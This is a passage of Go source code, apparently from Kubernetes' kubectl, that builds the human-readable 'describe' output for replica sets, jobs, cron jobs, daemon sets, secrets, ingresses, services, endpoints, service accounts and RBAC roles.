""Message:\t%s\n"", state.Terminated.Message) } w.Write(LEVEL_3, ""Exit Code:\t%d\n"", state.Terminated.ExitCode) if state.Terminated.Signal > 0 { w.Write(LEVEL_3, ""Signal:\t%d\n"", state.Terminated.Signal) } w.Write(LEVEL_3, ""Started:\t%s\n"", state.Terminated.StartedAt.Time.Format(time.RFC1123Z)) w.Write(LEVEL_3, ""Finished:\t%s\n"", state.Terminated.FinishedAt.Time.Format(time.RFC1123Z)) default: w.Write(LEVEL_2, ""%s:\tWaiting\n"", stateName) } } func describeVolumeClaimTemplates(templates []corev1.PersistentVolumeClaim, w PrefixWriter) { if len(templates) == 0 { w.Write(LEVEL_0, ""Volume Claims:\t\n"") return } w.Write(LEVEL_0, ""Volume Claims:\n"") for _, pvc := range templates { w.Write(LEVEL_1, ""Name:\t%s\n"", pvc.Name) w.Write(LEVEL_1, ""StorageClass:\t%s\n"", storageutil.GetPersistentVolumeClaimClass(&pvc)) printLabelsMultilineWithIndent(w, "" "", ""Labels"", ""\t"", pvc.Labels, sets.NewString()) printLabelsMultilineWithIndent(w, "" "", ""Annotations"", ""\t"", pvc.Annotations, sets.NewString()) if capacity, ok := pvc.Spec.Resources.Requests[corev1.ResourceStorage]; ok { w.Write(LEVEL_1, ""Capacity:\t%s\n"", capacity.String()) } else { w.Write(LEVEL_1, ""Capacity:\t%s\n"", """") } w.Write(LEVEL_1, ""Access Modes:\t%s\n"", pvc.Spec.AccessModes) } } func printBoolPtr(value *bool) string { if value != nil { return printBool(*value) } return """" } func printBool(value bool) string { if value { return ""True"" } return ""False"" } // ReplicationControllerDescriber generates information about a replication controller // and the pods it has created. type ReplicationControllerDescriber struct { clientset.Interface } func (d *ReplicationControllerDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { rc := d.CoreV1().ReplicationControllers(namespace) pc := d.CoreV1().Pods(namespace) controller, err := rc.Get(name, metav1.GetOptions{}) if err != nil { return """", err } running, waiting, succeeded, failed, err := getPodStatusForController(pc, labels.SelectorFromSet(controller.Spec.Selector), controller.UID) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, controller) } return describeReplicationController(controller, events, running, waiting, succeeded, failed) } func describeReplicationController(controller *corev1.ReplicationController, events *corev1.EventList, running, waiting, succeeded, failed int) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", controller.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", controller.Namespace) w.Write(LEVEL_0, ""Selector:\t%s\n"", labels.FormatLabels(controller.Spec.Selector)) printLabelsMultiline(w, ""Labels"", controller.Labels) printAnnotationsMultiline(w, ""Annotations"", controller.Annotations) w.Write(LEVEL_0, ""Replicas:\t%d current / %d desired\n"", controller.Status.Replicas, *controller.Spec.Replicas) w.Write(LEVEL_0, ""Pods Status:\t%d Running / %d Waiting / %d Succeeded / %d Failed\n"", running, waiting, succeeded, failed) DescribePodTemplate(controller.Spec.Template, w) if len(controller.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n Type\tStatus\tReason\n"") w.Write(LEVEL_1, ""----\t------\t------\n"") for _, c := range controller.Status.Conditions { w.Write(LEVEL_1, ""%v \t%v\t%v\n"", c.Type, c.Status, c.Reason) } } if events != nil { DescribeEvents(events, w) } return nil }) } func DescribePodTemplate(template *corev1.PodTemplateSpec, w PrefixWriter) { w.Write(LEVEL_0, ""Pod Template:\n"") if template == nil { w.Write(LEVEL_1, """") return } printLabelsMultiline(w, "" Labels"", template.Labels) if len(template.Annotations) > 0 { printAnnotationsMultiline(w, "" Annotations"", template.Annotations) } if len(template.Spec.ServiceAccountName) > 0 { w.Write(LEVEL_1, ""Service Account:\t%s\n"", template.Spec.ServiceAccountName) } if len(template.Spec.InitContainers) > 0 { describeContainers(""Init Containers"", template.Spec.InitContainers, nil, nil, w, "" "") } describeContainers(""Containers"", template.Spec.Containers, nil, nil, w, "" "") describeVolumes(template.Spec.Volumes, w, "" "") if len(template.Spec.PriorityClassName) > 0 { w.Write(LEVEL_1, ""Priority Class Name:\t%s\n"", template.Spec.PriorityClassName) } } // ReplicaSetDescriber generates information about a ReplicaSet and the pods it has created. type ReplicaSetDescriber struct { clientset.Interface } func (d *ReplicaSetDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { rsc := d.AppsV1().ReplicaSets(namespace) pc := d.CoreV1().Pods(namespace) rs, err := rsc.Get(name, metav1.GetOptions{}) if err != nil { return """", err } selector, err := metav1.LabelSelectorAsSelector(rs.Spec.Selector) if err != nil { return """", err } running, waiting, succeeded, failed, getPodErr := getPodStatusForController(pc, selector, rs.UID) var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, rs) } return describeReplicaSet(rs, events, running, waiting, succeeded, failed, getPodErr) } func describeReplicaSet(rs *appsv1.ReplicaSet, events *corev1.EventList, running, waiting, succeeded, failed int, getPodErr error) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", rs.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", rs.Namespace) w.Write(LEVEL_0, ""Selector:\t%s\n"", metav1.FormatLabelSelector(rs.Spec.Selector)) printLabelsMultiline(w, ""Labels"", rs.Labels) printAnnotationsMultiline(w, ""Annotations"", rs.Annotations) if controlledBy := printController(rs); len(controlledBy) > 0 { w.Write(LEVEL_0, ""Controlled By:\t%s\n"", controlledBy) } w.Write(LEVEL_0, ""Replicas:\t%d current / %d desired\n"", rs.Status.Replicas, *rs.Spec.Replicas) w.Write(LEVEL_0, ""Pods Status:\t"") if getPodErr != nil { w.Write(LEVEL_0, ""error in fetching pods: %s\n"", getPodErr) } else { w.Write(LEVEL_0, ""%d Running / %d Waiting / %d Succeeded / %d Failed\n"", running, waiting, succeeded, failed) } DescribePodTemplate(&rs.Spec.Template, w) if len(rs.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n Type\tStatus\tReason\n"") w.Write(LEVEL_1, ""----\t------\t------\n"") for _, c := range rs.Status.Conditions { w.Write(LEVEL_1, ""%v \t%v\t%v\n"", c.Type, c.Status, c.Reason) } } if events != nil { DescribeEvents(events, w) } return nil }) } // JobDescriber generates information about a job and the pods it has created. type JobDescriber struct { clientset.Interface } func (d *JobDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { job, err := d.BatchV1().Jobs(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, job) } return describeJob(job, events) } func describeJob(job *batchv1.Job, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", job.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", job.Namespace) if selector, err := metav1.LabelSelectorAsSelector(job.Spec.Selector); err == nil { w.Write(LEVEL_0, ""Selector:\t%s\n"", selector) } else { w.Write(LEVEL_0, ""Selector:\tFailed to get selector: %s\n"", err) } printLabelsMultiline(w, ""Labels"", job.Labels) printAnnotationsMultiline(w, ""Annotations"", job.Annotations) if controlledBy := printController(job); len(controlledBy) > 0 { w.Write(LEVEL_0, ""Controlled By:\t%s\n"", controlledBy) } w.Write(LEVEL_0, ""Parallelism:\t%d\n"", *job.Spec.Parallelism) if job.Spec.Completions != nil { w.Write(LEVEL_0, ""Completions:\t%d\n"", *job.Spec.Completions) } else { w.Write(LEVEL_0, ""Completions:\t\n"") } if job.Status.StartTime != nil { w.Write(LEVEL_0, ""Start Time:\t%s\n"", job.Status.StartTime.Time.Format(time.RFC1123Z)) } if job.Status.CompletionTime != nil { w.Write(LEVEL_0, ""Completed At:\t%s\n"", job.Status.CompletionTime.Time.Format(time.RFC1123Z)) } if job.Status.StartTime != nil && job.Status.CompletionTime != nil { w.Write(LEVEL_0, ""Duration:\t%s\n"", duration.HumanDuration(job.Status.CompletionTime.Sub(job.Status.StartTime.Time))) } if job.Spec.ActiveDeadlineSeconds != nil { w.Write(LEVEL_0, ""Active Deadline Seconds:\t%ds\n"", *job.Spec.ActiveDeadlineSeconds) } w.Write(LEVEL_0, ""Pods Statuses:\t%d Running / %d Succeeded / %d Failed\n"", job.Status.Active, job.Status.Succeeded, job.Status.Failed) DescribePodTemplate(&job.Spec.Template, w) if events != nil { DescribeEvents(events, w) } return nil }) } // CronJobDescriber generates information about a cron job and the jobs it has created. type CronJobDescriber struct { client clientset.Interface } func (d *CronJobDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { cronJob, err := d.client.BatchV1beta1().CronJobs(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.client.CoreV1().Events(namespace).Search(scheme.Scheme, cronJob) } return describeCronJob(cronJob, events) } func describeCronJob(cronJob *batchv1beta1.CronJob, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", cronJob.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", cronJob.Namespace) printLabelsMultiline(w, ""Labels"", cronJob.Labels) printAnnotationsMultiline(w, ""Annotations"", cronJob.Annotations) w.Write(LEVEL_0, ""Schedule:\t%s\n"", cronJob.Spec.Schedule) w.Write(LEVEL_0, ""Concurrency Policy:\t%s\n"", cronJob.Spec.ConcurrencyPolicy) w.Write(LEVEL_0, ""Suspend:\t%s\n"", printBoolPtr(cronJob.Spec.Suspend)) if cronJob.Spec.SuccessfulJobsHistoryLimit != nil { w.Write(LEVEL_0, ""Successful Job History Limit:\t%d\n"", *cronJob.Spec.SuccessfulJobsHistoryLimit) } else { w.Write(LEVEL_0, ""Successful Job History Limit:\t\n"") } if cronJob.Spec.FailedJobsHistoryLimit != nil { w.Write(LEVEL_0, ""Failed Job History Limit:\t%d\n"", *cronJob.Spec.FailedJobsHistoryLimit) } else { w.Write(LEVEL_0, ""Failed Job History Limit:\t\n"") } if cronJob.Spec.StartingDeadlineSeconds != nil { w.Write(LEVEL_0, ""Starting Deadline Seconds:\t%ds\n"", *cronJob.Spec.StartingDeadlineSeconds) } else { w.Write(LEVEL_0, ""Starting Deadline Seconds:\t\n"") } describeJobTemplate(cronJob.Spec.JobTemplate, w) if cronJob.Status.LastScheduleTime != nil { w.Write(LEVEL_0, ""Last Schedule Time:\t%s\n"", cronJob.Status.LastScheduleTime.Time.Format(time.RFC1123Z)) } else { w.Write(LEVEL_0, ""Last Schedule Time:\t\n"") } printActiveJobs(w, ""Active Jobs"", cronJob.Status.Active) if events != nil { DescribeEvents(events, w) } return nil }) } func describeJobTemplate(jobTemplate batchv1beta1.JobTemplateSpec, w PrefixWriter) { if jobTemplate.Spec.Selector != nil { if selector, err := metav1.LabelSelectorAsSelector(jobTemplate.Spec.Selector); err == nil { w.Write(LEVEL_0, ""Selector:\t%s\n"", selector) } else { w.Write(LEVEL_0, ""Selector:\tFailed to get selector: %s\n"", err) } } else { w.Write(LEVEL_0, ""Selector:\t\n"") } if jobTemplate.Spec.Parallelism != nil { w.Write(LEVEL_0, ""Parallelism:\t%d\n"", *jobTemplate.Spec.Parallelism) } else { w.Write(LEVEL_0, ""Parallelism:\t\n"") } if jobTemplate.Spec.Completions != nil { w.Write(LEVEL_0, ""Completions:\t%d\n"", *jobTemplate.Spec.Completions) } else { w.Write(LEVEL_0, ""Completions:\t\n"") } if jobTemplate.Spec.ActiveDeadlineSeconds != nil { w.Write(LEVEL_0, ""Active Deadline Seconds:\t%ds\n"", *jobTemplate.Spec.ActiveDeadlineSeconds) } DescribePodTemplate(&jobTemplate.Spec.Template, w) } func printActiveJobs(w PrefixWriter, title string, jobs []corev1.ObjectReference) { w.Write(LEVEL_0, ""%s:\t"", title) if len(jobs) == 0 { w.WriteLine("""") return } for i, job := range jobs { if i != 0 { w.Write(LEVEL_0, "", "") } w.Write(LEVEL_0, ""%s"", job.Name) } w.WriteLine("""") } // DaemonSetDescriber generates information about a daemon set and the pods it has created. type DaemonSetDescriber struct { clientset.Interface } func (d *DaemonSetDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { dc := d.AppsV1().DaemonSets(namespace) pc := d.CoreV1().Pods(namespace) daemon, err := dc.Get(name, metav1.GetOptions{}) if err != nil { return """", err } selector, err := metav1.LabelSelectorAsSelector(daemon.Spec.Selector) if err != nil { return """", err } running, waiting, succeeded, failed, err := getPodStatusForController(pc, selector, daemon.UID) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, daemon) } return describeDaemonSet(daemon, events, running, waiting, succeeded, failed) } func describeDaemonSet(daemon *appsv1.DaemonSet, events *corev1.EventList, running, waiting, succeeded, failed int) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", daemon.Name) selector, err := metav1.LabelSelectorAsSelector(daemon.Spec.Selector) if err != nil { // this shouldn't happen if LabelSelector passed validation return err } w.Write(LEVEL_0, ""Selector:\t%s\n"", selector) w.Write(LEVEL_0, ""Node-Selector:\t%s\n"", labels.FormatLabels(daemon.Spec.Template.Spec.NodeSelector)) printLabelsMultiline(w, ""Labels"", daemon.Labels) printAnnotationsMultiline(w, ""Annotations"", daemon.Annotations) w.Write(LEVEL_0, ""Desired Number of Nodes Scheduled: %d\n"", daemon.Status.DesiredNumberScheduled) w.Write(LEVEL_0, ""Current Number of Nodes Scheduled: %d\n"", daemon.Status.CurrentNumberScheduled) w.Write(LEVEL_0, ""Number of Nodes Scheduled with Up-to-date Pods: %d\n"", daemon.Status.UpdatedNumberScheduled) w.Write(LEVEL_0, ""Number of Nodes Scheduled with Available Pods: %d\n"", daemon.Status.NumberAvailable) w.Write(LEVEL_0, ""Number of Nodes Misscheduled: %d\n"", daemon.Status.NumberMisscheduled) w.Write(LEVEL_0, ""Pods Status:\t%d Running / %d Waiting / %d Succeeded / %d Failed\n"", running, waiting, succeeded, failed) DescribePodTemplate(&daemon.Spec.Template, w) if events != nil { DescribeEvents(events, w) } return nil }) } // SecretDescriber generates information about a secret type SecretDescriber struct { clientset.Interface } func (d *SecretDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().Secrets(namespace) secret, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } return describeSecret(secret) } func describeSecret(secret *corev1.Secret) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", secret.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", secret.Namespace) printLabelsMultiline(w, ""Labels"", secret.Labels) skipAnnotations := sets.NewString(corev1.LastAppliedConfigAnnotation) printAnnotationsMultilineWithFilter(w, ""Annotations"", secret.Annotations, skipAnnotations) w.Write(LEVEL_0, ""\nType:\t%s\n"", secret.Type) w.Write(LEVEL_0, ""\nData\n====\n"") for k, v := range secret.Data { switch { case k == corev1.ServiceAccountTokenKey && secret.Type == corev1.SecretTypeServiceAccountToken: w.Write(LEVEL_0, ""%s:\t%s\n"", k, string(v)) default: w.Write(LEVEL_0, ""%s:\t%d bytes\n"", k, len(v)) } } return nil }) } type IngressDescriber struct { clientset.Interface } func (i *IngressDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := i.NetworkingV1beta1().Ingresses(namespace) ing, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } return i.describeIngress(ing, describerSettings) } func (i *IngressDescriber) describeBackend(ns string, backend *networkingv1beta1.IngressBackend) string { endpoints, _ := i.CoreV1().Endpoints(ns).Get(backend.ServiceName, metav1.GetOptions{}) service, _ := i.CoreV1().Services(ns).Get(backend.ServiceName, metav1.GetOptions{}) spName := """" for i := range service.Spec.Ports { sp := &service.Spec.Ports[i] switch backend.ServicePort.Type { case intstr.String: if backend.ServicePort.StrVal == sp.Name { spName = sp.Name } case intstr.Int: if int32(backend.ServicePort.IntVal) == sp.Port { spName = sp.Name } } } return formatEndpoints(endpoints, sets.NewString(spName)) } func (i *IngressDescriber) describeIngress(ing *networkingv1beta1.Ingress, describerSettings describe.DescriberSettings) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%v\n"", ing.Name) w.Write(LEVEL_0, ""Namespace:\t%v\n"", ing.Namespace) w.Write(LEVEL_0, ""Address:\t%v\n"", loadBalancerStatusStringer(ing.Status.LoadBalancer, true)) def := ing.Spec.Backend ns := ing.Namespace if def == nil { // Ingresses that don't specify a default backend inherit the // default backend in the kube-system namespace. def = &networkingv1beta1.IngressBackend{ ServiceName: ""default-http-backend"", ServicePort: intstr.IntOrString{Type: intstr.Int, IntVal: 80}, } ns = metav1.NamespaceSystem } w.Write(LEVEL_0, ""Default backend:\t%s (%s)\n"", backendStringer(def), i.describeBackend(ns, def)) if len(ing.Spec.TLS) != 0 { describeIngressTLS(w, ing.Spec.TLS) } w.Write(LEVEL_0, ""Rules:\n Host\tPath\tBackends\n"") w.Write(LEVEL_1, ""----\t----\t--------\n"") count := 0 for _, rules := range ing.Spec.Rules { if rules.HTTP == nil { continue } count++ host := rules.Host if len(host) == 0 { host = ""*"" } w.Write(LEVEL_1, ""%s\t\n"", host) for _, path := range rules.HTTP.Paths { w.Write(LEVEL_2, ""\t%s \t%s (%s)\n"", path.Path, backendStringer(&path.Backend), i.describeBackend(ing.Namespace, &path.Backend)) } } if count == 0 { w.Write(LEVEL_1, ""%s\t%s \t%s (%s)\n"", ""*"", ""*"", backendStringer(def), i.describeBackend(ns, def)) } describeIngressAnnotations(w, ing.Annotations) if describerSettings.ShowEvents { events, _ := i.CoreV1().Events(ing.Namespace).Search(scheme.Scheme, ing) if events != nil { DescribeEvents(events, w) } } return nil }) } func describeIngressTLS(w PrefixWriter, ingTLS []networkingv1beta1.IngressTLS) { w.Write(LEVEL_0, ""TLS:\n"") for _, t := range ingTLS { if t.SecretName == """" { w.Write(LEVEL_1, ""SNI routes %v\n"", strings.Join(t.Hosts, "","")) } else { w.Write(LEVEL_1, ""%v terminates %v\n"", t.SecretName, strings.Join(t.Hosts, "","")) } } return } // TODO: Move from annotations into Ingress status. func describeIngressAnnotations(w PrefixWriter, annotations map[string]string) { w.Write(LEVEL_0, ""Annotations:\n"") for k, v := range annotations { w.Write(LEVEL_1, ""%v:\t%s\n"", k, v) } return } // ServiceDescriber generates information about a service. type ServiceDescriber struct { clientset.Interface } func (d *ServiceDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().Services(namespace) service, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } endpoints, _ := d.CoreV1().Endpoints(namespace).Get(name, metav1.GetOptions{}) var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, service) } return describeService(service, endpoints, events) } func buildIngressString(ingress []corev1.LoadBalancerIngress) string { var buffer bytes.Buffer for i := range ingress { if i != 0 { buffer.WriteString("", "") } if ingress[i].IP != """" { buffer.WriteString(ingress[i].IP) } else { buffer.WriteString(ingress[i].Hostname) } } return buffer.String() } func describeService(service *corev1.Service, endpoints *corev1.Endpoints, events *corev1.EventList) (string, error) { if endpoints == nil { endpoints = &corev1.Endpoints{} } return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", service.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", service.Namespace) printLabelsMultiline(w, ""Labels"", service.Labels) printAnnotationsMultiline(w, ""Annotations"", service.Annotations) w.Write(LEVEL_0, ""Selector:\t%s\n"", labels.FormatLabels(service.Spec.Selector)) w.Write(LEVEL_0, ""Type:\t%s\n"", service.Spec.Type) w.Write(LEVEL_0, ""IP:\t%s\n"", service.Spec.ClusterIP) if len(service.Spec.ExternalIPs) > 0 { w.Write(LEVEL_0, ""External IPs:\t%v\n"", strings.Join(service.Spec.ExternalIPs, "","")) } if service.Spec.LoadBalancerIP != """" { w.Write(LEVEL_0, ""IP:\t%s\n"", service.Spec.LoadBalancerIP) } if service.Spec.ExternalName != """" { w.Write(LEVEL_0, ""External Name:\t%s\n"", service.Spec.ExternalName) } if len(service.Status.LoadBalancer.Ingress) > 0 { list := buildIngressString(service.Status.LoadBalancer.Ingress) w.Write(LEVEL_0, ""LoadBalancer Ingress:\t%s\n"", list) } for i := range service.Spec.Ports { sp := &service.Spec.Ports[i] name := sp.Name if name == """" { name = """" } w.Write(LEVEL_0, ""Port:\t%s\t%d/%s\n"", name, sp.Port, sp.Protocol) if sp.TargetPort.Type == intstr.Type(intstr.Int) { w.Write(LEVEL_0, ""TargetPort:\t%d/%s\n"", sp.TargetPort.IntVal, sp.Protocol) } else { w.Write(LEVEL_0, ""TargetPort:\t%s/%s\n"", sp.TargetPort.StrVal, sp.Protocol) } if sp.NodePort != 0 { w.Write(LEVEL_0, ""NodePort:\t%s\t%d/%s\n"", name, sp.NodePort, sp.Protocol) } w.Write(LEVEL_0, ""Endpoints:\t%s\n"", formatEndpoints(endpoints, sets.NewString(sp.Name))) } w.Write(LEVEL_0, ""Session Affinity:\t%s\n"", service.Spec.SessionAffinity) if service.Spec.ExternalTrafficPolicy != """" { w.Write(LEVEL_0, ""External Traffic Policy:\t%s\n"", service.Spec.ExternalTrafficPolicy) } if service.Spec.HealthCheckNodePort != 0 { w.Write(LEVEL_0, ""HealthCheck NodePort:\t%d\n"", service.Spec.HealthCheckNodePort) } if len(service.Spec.LoadBalancerSourceRanges) > 0 { w.Write(LEVEL_0, ""LoadBalancer Source Ranges:\t%v\n"", strings.Join(service.Spec.LoadBalancerSourceRanges, "","")) } if events != nil { DescribeEvents(events, w) } return nil }) } // EndpointsDescriber generates information about an Endpoint. type EndpointsDescriber struct { clientset.Interface } func (d *EndpointsDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().Endpoints(namespace) ep, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, ep) } return describeEndpoints(ep, events) } func describeEndpoints(ep *corev1.Endpoints, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", ep.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", ep.Namespace) printLabelsMultiline(w, ""Labels"", ep.Labels) printAnnotationsMultiline(w, ""Annotations"", ep.Annotations) w.Write(LEVEL_0, ""Subsets:\n"") for i := range ep.Subsets { subset := &ep.Subsets[i] addresses := make([]string, 0, len(subset.Addresses)) for _, addr := range subset.Addresses { addresses = append(addresses, addr.IP) } addressesString := strings.Join(addresses, "","") if len(addressesString) == 0 { addressesString = """" } w.Write(LEVEL_1, ""Addresses:\t%s\n"", addressesString) notReadyAddresses := make([]string, 0, len(subset.NotReadyAddresses)) for _, addr := range subset.NotReadyAddresses { notReadyAddresses = append(notReadyAddresses, addr.IP) } notReadyAddressesString := strings.Join(notReadyAddresses, "","") if len(notReadyAddressesString) == 0 { notReadyAddressesString = """" } w.Write(LEVEL_1, ""NotReadyAddresses:\t%s\n"", notReadyAddressesString) if len(subset.Ports) > 0 { w.Write(LEVEL_1, ""Ports:\n"") w.Write(LEVEL_2, ""Name\tPort\tProtocol\n"") w.Write(LEVEL_2, ""----\t----\t--------\n"") for _, port := range subset.Ports { name := port.Name if len(name) == 0 { name = """" } w.Write(LEVEL_2, ""%s\t%d\t%s\n"", name, port.Port, port.Protocol) } } w.Write(LEVEL_0, ""\n"") } if events != nil { DescribeEvents(events, w) } return nil }) } // ServiceAccountDescriber generates information about a service. type ServiceAccountDescriber struct { clientset.Interface } func (d *ServiceAccountDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().ServiceAccounts(namespace) serviceAccount, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } tokens := []corev1.Secret{} // missingSecrets is the set of all secrets present in the // serviceAccount but not present in the set of existing secrets. missingSecrets := sets.NewString() secrets, err := d.CoreV1().Secrets(namespace).List(metav1.ListOptions{}) // errors are tolerated here in order to describe the serviceAccount with all // of the secrets that it references, even if those secrets cannot be fetched. if err == nil { // existingSecrets is the set of all secrets remaining on a // service account that are not present in the ""tokens"" slice. existingSecrets := sets.NewString() for _, s := range secrets.Items { if s.Type == corev1.SecretTypeServiceAccountToken { name, _ := s.Annotations[corev1.ServiceAccountNameKey] uid, _ := s.Annotations[corev1.ServiceAccountUIDKey] if name == serviceAccount.Name && uid == string(serviceAccount.UID) { tokens = append(tokens, s) } } existingSecrets.Insert(s.Name) } for _, s := range serviceAccount.Secrets { if !existingSecrets.Has(s.Name) { missingSecrets.Insert(s.Name) } } for _, s := range serviceAccount.ImagePullSecrets { if !existingSecrets.Has(s.Name) { missingSecrets.Insert(s.Name) } } } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = d.CoreV1().Events(namespace).Search(scheme.Scheme, serviceAccount) } return describeServiceAccount(serviceAccount, tokens, missingSecrets, events) } func describeServiceAccount(serviceAccount *corev1.ServiceAccount, tokens []corev1.Secret, missingSecrets sets.String, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", serviceAccount.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", serviceAccount.Namespace) printLabelsMultiline(w, ""Labels"", serviceAccount.Labels) printAnnotationsMultiline(w, ""Annotations"", serviceAccount.Annotations) var ( emptyHeader = "" "" pullHeader = ""Image pull secrets:"" mountHeader = ""Mountable secrets: "" tokenHeader = ""Tokens: "" pullSecretNames = []string{} mountSecretNames = []string{} tokenSecretNames = []string{} ) for _, s := range serviceAccount.ImagePullSecrets { pullSecretNames = append(pullSecretNames, s.Name) } for _, s := range serviceAccount.Secrets { mountSecretNames = append(mountSecretNames, s.Name) } for _, s := range tokens { tokenSecretNames = append(tokenSecretNames, s.Name) } types := map[string][]string{ pullHeader: pullSecretNames, mountHeader: mountSecretNames, tokenHeader: tokenSecretNames, } for _, header := range sets.StringKeySet(types).List() { names := types[header] if len(names) == 0 { w.Write(LEVEL_0, ""%s\t\n"", header) } else { prefix := header for _, name := range names { if missingSecrets.Has(name) { w.Write(LEVEL_0, ""%s\t%s (not found)\n"", prefix, name) } else { w.Write(LEVEL_0, ""%s\t%s\n"", prefix, name) } prefix = emptyHeader } } } if events != nil { DescribeEvents(events, w) } return nil }) } // RoleDescriber generates information about a node. type RoleDescriber struct { clientset.Interface } func (d *RoleDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { role, err := d.RbacV1().Roles(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } breakdownRules := []rbacv1.PolicyRule{} for _, rule := range role.Rules { breakdownRules = append(breakdownRules, rbac.BreakdownRule(rule)...) } compactRules, err := rbac.CompactRules(breakdownRules) if err != nil { return """", err } sort.Stable(rbac.SortableRuleSlice(compactRules)) return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", role.Name) printLabelsMultiline(w, ""Labels"", role.Labels) printAnnotationsMultiline(w, ""Annotations"", role.Annotations) w.Write(LEVEL_0, ""PolicyRule:\n"") w.Write(LEVEL_1, ""Resources\tNon-Resource URLs\tResource Names\tVerbs\n"") w.Write(LEVEL_1, ""---------\t-----------------\t--------------\t-----\n"") for _, r := range compactRules { w.Write(LEVEL_1, ""%s\t%v\t%v\t%v\n"", CombineResourceGroup(r.Resources, r.APIGroups), r.NonResourceURLs, r.ResourceNames, r.Verbs) } return nil }) } // ClusterRoleDescriber generates information about a node. type ClusterRoleDescriber struct { clientset.Interface } func (d *ClusterRoleDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { role, err := d.RbacV1().ClusterRoles().Get(name, metav1.GetOptions{}) if err != nil { return """", err } breakdownRules := []rbacv1.PolicyRule{} for _, rule := range role.Rules { breakdownRules = append(breakdownRules, rbac.BreakdownRule(rule)...) } compactRules, err := rbac.CompactRules(breakdownRules) if err != nil { return """", err } sort.Stable(rbac.SortableRuleSlice(compactRules)) return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", role.Name) printLabelsMultiline(w, ""Labels"", role.Labels) printAnnotationsMultiline(w, ""Annotations"", role.Annotations) w.Write(LEVEL_0, ""PolicyRule:\n"") w.Write(LEVEL_1, ""Resources\tNon-Resource URLs\tResource Names\tVerbs\n"") w.Write(LEVEL_1, ""---------\t-----------------\t--------------\t-----\n"") for _, r := range compactRules { w.Write(LEVEL_1, ""%s\t%v\t%v\t%v\n"", CombineResourceGroup(r.Resources, r.APIGroups), r.NonResourceURLs, r.ResourceNames, r.Verbs) } return nil }) } func CombineResourceGroup(resource, group []string) string { if len(resource) == 0 { return """" } parts := strings.SplitN(resource[0], ""/"", 2) combine := parts[0] if len(group) > 0 && group[0] != """" { combine = combine + ""."" + group[0] } if len(parts) == 2 { combine = combine + ""/"" + parts[1] } return combine } // RoleBindingDescriber generates information about a node. type RoleBindingDescriber struct { clientset.Interface } func (d *RoleBindingDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { binding, err := d.RbacV1().RoleBindings(namespace).Get(name, 